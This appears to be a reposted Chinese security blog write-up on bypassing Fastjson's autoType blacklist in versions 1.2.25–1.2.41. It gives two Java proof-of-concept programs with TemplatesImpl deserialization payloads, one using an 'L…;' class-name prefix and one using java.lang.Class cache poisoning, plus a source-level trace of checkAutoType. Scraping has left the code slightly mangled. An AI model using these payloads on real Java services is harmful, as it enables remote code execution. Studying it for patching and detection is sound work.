书接上文我们继续分析fastjson
自1.2.25起autotype默认为false。
AutoType为false时只允许白名单的类,但白名单默认是空的,所以该状态不会反序列化任何类。
AutoType为true时是基于内置黑名单来实现安全的。
手动开启autoType需要在反序列化前添加代码:
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
开启后直接打1.2.24的poc失败了,调试后发现是存在增加了一个黑名单,把之前用的JdbcRowSetImpl
和TemplatesImpl
都给ban了
一种办法是在类名前面和后面添加L
和;
,下面来分析一下为什么
package org.example.fastjson;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.parser.ParserConfig;
import java.io.ByteArrayOutputStream;
import java.io.File;
import java.io.FileInputStream;
import java.io.IOException;
import java.util.Base64;
publicclassFastjsonWithSpringEchoTemplates{
publicstaticvoidmain(String[] args)throws IOException {
String shell = null;
shell = FiletoBase64("D:\code\javaProject\JavaSecurity\src\main\java\org\example\fastjson\CalcShell.class");
String payload1 = " {"@type":"Lcom.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;","_bytecodes":[""+shell+""],"_name":"a.b","_tfactory":{},"_outputProperties":{ },"_version":"1.0","allowedProtocols":"all"}";
System.out.println(payload1);
System.out.println(JSON.VERSION);
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
JSONObject obj = JSON.parseObject(payload1, Feature.SupportNonPublicField);
// JSONObject obj = JSON.parseObject(payload1, new Feature[]{Feature.SupportNonPublicField});
System.out.println(obj);
}
publicstatic String FiletoBase64(String filename)throws IOException {
File file = new File(filename);
FileInputStream io = new FileInputStream(file);
ByteArrayOutputStream os = new ByteArrayOutputStream();
byte[] buf = newbyte[10240];
int len;
while ((len = io.read(buf)) > 0) {
os.write(buf, 0, len);
}
io.close();
String s = Base64.getEncoder().encodeToString(os.toByteArray());
return s;
}
}
在进入checkAutoType方法时,typeName
是上送添加L
和;
的类名,假设手动开启了autoTypeSupport
,可以带着typeName
进入TypeUtils.loadClass
跟进loadClass
可以看到通过substring
去掉开头结尾的L
和;
,然后直接load新class
在checkAutoType
函数最后当autoTypeSupport
为true时可直接返回去掉L
和;
的类
return到DefaultJSONParser
的readObject
里,继续往下执行到fastjson.parser.deserializer.JavaBeanDeserializer
的deserializer.deserialze
即可执行恶意类
那么如果代码里checkAutoType没有手动开启呢,就要换另一种打法,用java.lang.Class
添加到mapping里欺骗白名单
package org.example.fastjson;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.parser.ParserConfig;
import java.io.ByteArrayOutputStream;
import java.io.File;
import java.io.FileInputStream;
import java.io.IOException;
import java.util.Base64;
publicclassFastjsonWithSpringEchoTemplates{
publicstaticvoidmain(String[] args)throws IOException {
String shell = null;
shell = FiletoBase64("D:\code\javaProject\JavaSecurity\src\main\java\org\example\fastjson\CalcShell.class");
String payload1 = " {"@type":"LLcom.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;;","_bytecodes":[""+shell+""],"_name":"a.b","_tfactory":{},"_outputProperties":{ },"_version":"1.0","allowedProtocols":"all"}";
String payload = "{"a": {"@type": "java.lang.Class", "val": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"}, "b": {"@type": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl", "_bytecodes":[""+shell+""], "_name": "aaa", "_tfactory": { }, "_outputProperties": { }}}";
// System.out.println(payload1);
System.out.println(JSON.VERSION);
// ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
// Object parse = JSON.parse(payload);
JSONObject obj = JSON.parseObject(payload, Feature.SupportNonPublicField);
// JSONObject obj = JSON.parseObject(payload1, new Feature[]{Feature.SupportNonPublicField});
System.out.println(obj);
}
publicstatic String FiletoBase64(String filename)throws IOException {
File file = new File(filename);
FileInputStream io = new FileInputStream(file);
ByteArrayOutputStream os = new ByteArrayOutputStream();
byte[] buf = newbyte[10240];
int len;
while ((len = io.read(buf)) > 0) {
os.write(buf, 0, len);
}
io.close();
String s = Base64.getEncoder().encodeToString(os.toByteArray());
return s;
}
}
通过第一层的嵌套利用java.lang.Class
不在黑名单的特性将TemplatesImpl
类加进mapping里,第二次再从TypeUtils.getClassFromMapping
直接取出这个恶意类
后续就没有黑名单校验了,直接带着这个类走前文1.2.24版本的调试流程DefaultJSONParser.parseObject
反序列化函数里了
原文始发于微信公众号(智佳网络安全):Fastjson1.2.25-1.2.41反序列化利用
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论